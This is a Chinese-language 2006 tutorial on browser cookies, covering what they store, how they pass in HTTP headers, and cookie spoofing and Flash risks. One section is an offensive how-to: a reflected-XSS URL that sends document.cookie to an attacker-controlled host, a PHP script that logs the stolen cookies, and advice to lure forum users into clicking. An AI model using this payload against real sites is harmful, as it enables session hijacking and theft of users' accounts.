VIP標(biāo)識(shí) 上網(wǎng)做生意,首選VIP會(huì)員| 設(shè)為首頁(yè)| 加入桌面| | 手機(jī)版| RSS訂閱
食品伙伴網(wǎng)服務(wù)號(hào)
 
當(dāng)前位置: 首頁(yè) » 食品專(zhuān)題 » 文獻(xiàn)檢索教程 » 正文

Cookie全攻略

放大字體  縮小字體 發(fā)布日期:2006-05-31
 編者按:Cookie在英文中是小甜品的意思,而這個(gè)詞我們總能在瀏覽器中看到,食品怎么會(huì)跟瀏覽器扯上關(guān)系呢?在你瀏覽以前登陸過(guò)的網(wǎng)站時(shí)可能會(huì)在網(wǎng)頁(yè)中出現(xiàn):你好XX,感覺(jué)很親切,就好像是吃了一個(gè)小甜品一樣。這其實(shí)是通過(guò)訪(fǎng)問(wèn)你主機(jī)里邊的一個(gè)文件來(lái)實(shí)現(xiàn)的,因此這個(gè)文件也就被稱(chēng)為了Cookie。想全面了解Cookie嗎?看看下文吧!

   一.了解Cookie 適用對(duì)象:初級(jí)讀者

   Cookie是當(dāng)你瀏覽某網(wǎng)站時(shí),網(wǎng)站存儲(chǔ)在你機(jī)器上的一個(gè)小文本文件,它記錄了你的用戶(hù)ID,密碼、瀏覽過(guò)的網(wǎng)頁(yè)、停留的時(shí)間等信息,當(dāng)你再次來(lái)到該網(wǎng)站時(shí),網(wǎng)站通過(guò)讀取Cookie,得知你的相關(guān)信息,就可以做出相應(yīng)的動(dòng)作,如在頁(yè)面顯示歡迎你的標(biāo)語(yǔ),或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Internet選項(xiàng)”的“常規(guī)”選項(xiàng)卡中,選擇“設(shè)置/查看文件”,查看所有保存到你電腦里的Cookie。這些文件通常是以u(píng)ser@domain格式命名的,user是你的本地用戶(hù)名,domain是所訪(fǎng)問(wèn)的網(wǎng)站的域名。如果你使用NetsCape瀏覽器,則存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,與IE不同的是,NETSCAPE是使用一個(gè)Cookie 文件記錄所有網(wǎng)站的Cookies。

   為了保證上網(wǎng)安全我們需要對(duì)Cookie進(jìn)行適當(dāng)設(shè)置。打開(kāi)“工具/Internet選項(xiàng)”中的“隱私”選項(xiàng)卡(注意該設(shè)置只在IE6.0中存在,其他版本IE可以在“工具/Internet選項(xiàng)”的“安全”標(biāo)簽中單擊“自定義級(jí)別”按鈕,進(jìn)行簡(jiǎn)單調(diào)整),調(diào)整Cookie的安全級(jí)別。通常情況,可以將滑塊調(diào)整到“中高”或者“高”的位置。多數(shù)的論壇站點(diǎn)需要使用Cookie信息,如果你從來(lái)不去這些地方,可以將安全級(jí)調(diào)到“阻止所有Cookies”。如果只是為了禁止個(gè)別網(wǎng)站的Cookie,可以單擊“編輯”按鈕,將要屏蔽的網(wǎng)站添加到列表中。在“高級(jí)”按鈕選項(xiàng)中,你可以對(duì)第一方Cookie和第三方的Cookie進(jìn)行設(shè)置,第一方Cookie是你正在瀏覽的網(wǎng)站的Cookie,第三方Cookie非正在瀏覽的網(wǎng)站發(fā)給你的Cookie,通常要對(duì)第三方Cookie選擇“拒絕”,如圖1。你如果需要保存Cookie,可以使用IE的“導(dǎo)入導(dǎo)出”功能,打開(kāi)“文件/導(dǎo)入導(dǎo)出”,按提示操作即可。

   Cookie中的內(nèi)容大多數(shù)經(jīng)過(guò)了加密處理,因此在我們看來(lái)只是一些毫無(wú)意義的字母數(shù)字組合,只有服務(wù)器的CGI處理程序才知道它們真正的含義。通過(guò)一些軟件我們可以查看到更多的內(nèi)容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、Value等選項(xiàng)的內(nèi)容。其中,Server是存儲(chǔ)Cookie的網(wǎng)站,Expires記錄了Cookie的時(shí)間和生命期,Name和value字段則是具體的數(shù)據(jù)(本報(bào)第10期第42版對(duì)該軟件有詳細(xì)介紹)。
   下載地址:http://www.cbifamily.com/down/200411/cfnetwork/cp1.exe。

   二、Cookie的傳遞流程 適用對(duì)象:中級(jí)讀者

   當(dāng)在瀏覽器地址欄中鍵入了一個(gè)Web站點(diǎn)的URL,瀏覽器會(huì)向該Web站點(diǎn)發(fā)送一個(gè)讀取網(wǎng)頁(yè)的請(qǐng)求,并將結(jié)果在顯示器上顯示。這時(shí)該網(wǎng)頁(yè)在你的電腦上尋找Amazon網(wǎng)站設(shè)置的Cookie文件,如果找到,瀏覽器會(huì)把Cookie文件中的數(shù)據(jù)連同前面輸入的URL一同發(fā)送到Amazon服務(wù)器。服務(wù)器收到Cookie數(shù)據(jù),就會(huì)在他的數(shù)據(jù)庫(kù)中檢索你的ID,你的購(gòu)物記錄、個(gè)人喜好等信息,并記錄下新的內(nèi)容,增加到數(shù)據(jù)庫(kù)和Cookie文件中去。如果沒(méi)有檢測(cè)到Cookie或者你的Cookie信息與數(shù)據(jù)庫(kù)中的信息不符合,則說(shuō)明你是第一次瀏覽該網(wǎng)站,服務(wù)器的CGI程序?qū)槟銊?chuàng)建新的ID信息,并保存到數(shù)據(jù)庫(kù)中。
Cookie是利用了網(wǎng)頁(yè)代碼中的HTTP頭信息進(jìn)行傳遞的,瀏覽器的每一次網(wǎng)頁(yè)請(qǐng)求,都可以伴隨Cookie傳遞,例如,瀏覽器的打開(kāi)或刷新網(wǎng)頁(yè)操作。服務(wù)器將Cookie添加到網(wǎng)頁(yè)的HTTP頭信息中,伴隨網(wǎng)頁(yè)數(shù)據(jù)傳回到你的瀏覽器,瀏覽器會(huì)根據(jù)你電腦中的Cookie設(shè)置選擇是否保存這些數(shù)據(jù)。如果瀏覽器不允許Cookie保存,則關(guān)掉瀏覽器后,這些數(shù)據(jù)就消失。Cookie在電腦上保存的時(shí)間是不一樣的,這些都是由服務(wù)器的設(shè)置不同決定得。Cookie有一個(gè)Expires(有效期)屬性,這個(gè)屬性決定了Cookie的保存時(shí)間,服務(wù)器可以通過(guò)設(shè)定Expires字段的數(shù)值,來(lái)改變Cookie的保存時(shí)間。如果不設(shè)置該屬性,那么Cookie只在瀏覽網(wǎng)頁(yè)期間有效,關(guān)閉瀏覽器,這些Cookie自動(dòng)消失,絕大多數(shù)網(wǎng)站屬于這種情況。通常情況下,Cookie包含Server、Expires、Name、Value這幾個(gè)字段,其中對(duì)服務(wù)器有用的只是Name和Value字段,Expires等字段的內(nèi)容僅僅是為了告訴瀏覽器如何處理這些Cookies。

   三、Cookie的編程實(shí)現(xiàn) 適用對(duì)象:高級(jí)讀者

   多數(shù)網(wǎng)頁(yè)編程語(yǔ)言都提供了對(duì)Cookie的支持。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向?qū)ο蟮木幊陶Z(yǔ)言中,對(duì)Cookie的編程利用基本上是相似的,大體過(guò)程為:先創(chuàng)建一個(gè)Cookie對(duì)象(Object),然后利用控制函數(shù)對(duì)Cookie進(jìn)行賦值、讀取、寫(xiě)入等操作。那么如何通過(guò)代碼來(lái)獲取其他用戶(hù)Cookie中的敏感信息?下面進(jìn)行簡(jiǎn)單的介紹。
該方法主要有兩步,首先要定位你需要收集Cookie的網(wǎng)站,并對(duì)其進(jìn)行分析,并構(gòu)造URL;然后編制收集Cookie的PHP代碼,并將其放到你可以控制的網(wǎng)站上,當(dāng)不知情者單擊了你構(gòu)造的URL后可以執(zhí)行該P(yáng)HP代碼。下面我們看具體的實(shí)現(xiàn)過(guò)程。

   1.分析并構(gòu)造URL

   首先打開(kāi)我們要收集Cookie的網(wǎng)站,這里假設(shè)是http://www.XXX.net,登陸網(wǎng)站輸入用戶(hù)名“<A1>”(不含引號(hào)),對(duì)數(shù)據(jù)進(jìn)行分析抓包,得到形如“http://www.XXX.net/txl/login/login.pl?username=<A1>&passwd=&ok.x=28&ok.y=6”的代碼,將“<A1>”更換為“<script>alert(document.cookie)</script>”再試;如果執(zhí)行成功,就開(kāi)始構(gòu)造URL:“http://www.XXX.net/txl/login/login.pl?username=<script>window.open("http://www.cbifamily.org/cbi.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能夠控制的某臺(tái)主機(jī)上的一個(gè)腳本。需要注意的是“%2B”為符號(hào)“+”的URL編碼,因?yàn)?ldquo;+”將被作為空格處理。該URL就可以在論壇中發(fā)布,誘使別人點(diǎn)擊了。

   2.編制PHP腳本

   該腳本的作用就是收集Cookie文件,具體內(nèi)容如下:


  <?php
  $info = getenv("QUERY_STRING");
  if ($info) {
  $fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
  }
  header("Location: http://www.XXX.net");
  ?>

四、Cookie的安全問(wèn)題 適用對(duì)象:所有希望上網(wǎng)安全的讀者

   1.Cookie欺騙

   Cookie記錄著用戶(hù)的帳戶(hù)ID、密碼之類(lèi)的信息,如果在網(wǎng)上傳遞,通常使用的是MD5方法加密。這樣經(jīng)過(guò)加密處理后的信息,即使被網(wǎng)絡(luò)上一些別有用心的人截獲,也看不懂,因?yàn)樗吹降闹皇且恍o(wú)意義的字母和數(shù)字。然而,現(xiàn)在遇到的問(wèn)題是,截獲Cookie的人不需要知道這些字符串的含義,他們只要把別人的Cookie向服務(wù)器提交,并且能夠通過(guò)驗(yàn)證,他們就可以冒充受害人的身份,登陸網(wǎng)站。這種方法叫做Cookie欺騙。Cookie欺騙實(shí)現(xiàn)的前提條件是服務(wù)器的驗(yàn)證程序存在漏洞,并且冒充者要獲得被冒充的人的Cookie信息。目前網(wǎng)站的驗(yàn)證程序要排除所有非法登錄是非常困難的,例如,編寫(xiě)驗(yàn)證程序使用的語(yǔ)言可能存在漏洞。而且要獲得別人Cookie是很容易的,用支持Cookie的語(yǔ)言編寫(xiě)一小段代碼就可以實(shí)現(xiàn)(具體方法見(jiàn)三),只要把這段代碼放到網(wǎng)絡(luò)里,那么所有人的Cookie都能夠被收集。如果一個(gè)論壇允許HTML代碼或者允許使用Flash標(biāo)簽就可以利用這些技術(shù)收集Cookie的代碼放到論壇里,然后給帖子取一個(gè)吸引人的主題,寫(xiě)上有趣的內(nèi)容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至于如何防范,目前還沒(méi)有特效藥,我們也只能使用通常的防護(hù)方法,不要在論壇里使用重要的密碼,也不要使用IE自動(dòng)保存密碼的功能,以及盡量不登陸不了解底細(xì)的網(wǎng)站。

   2.Flash的代碼隱患

Flash中有一個(gè)getURL()函數(shù),F(xiàn)lash可以利用這個(gè)函數(shù)自動(dòng)打開(kāi)指定的網(wǎng)頁(yè)。因此它可能把你引向一個(gè)包含惡意代碼的網(wǎng)站。打個(gè)比方,當(dāng)你在自己電腦上欣賞精美的Flash動(dòng)畫(huà)時(shí),動(dòng)畫(huà)幀里的代碼可能已經(jīng)悄悄地連上網(wǎng),并打開(kāi)了一個(gè)極小的包含有特殊代碼的頁(yè)面。這個(gè)頁(yè)面可以收集你的Cookie、也可以做一些其他的事情,比如在你的機(jī)器上種植木馬甚至格式化你的硬盤(pán)等等。對(duì)于Flash的這種行為,網(wǎng)站是無(wú)法禁止的,因?yàn)檫@是Flash文件的內(nèi)部行為。我們所能做到的,如果是在本地瀏覽盡量打開(kāi)防火墻,如果防火墻提示的向外發(fā)送的數(shù)據(jù)包并不為你知悉,最好禁止。如果是在Internet上欣賞,最好找一些知名的大網(wǎng)站。
                                     
 
[ 網(wǎng)刊訂閱 ]  [ 食品專(zhuān)題搜索 ]  [ ]  [ 告訴好友 ]  [ 打印本文 ]  [ 關(guān)閉窗口 ] [ 返回頂部 ]

 

 
推薦圖文
推薦食品專(zhuān)題
點(diǎn)擊排行
 
 
Processed in 0.041 second(s), 73 queries, Memory 1.1 M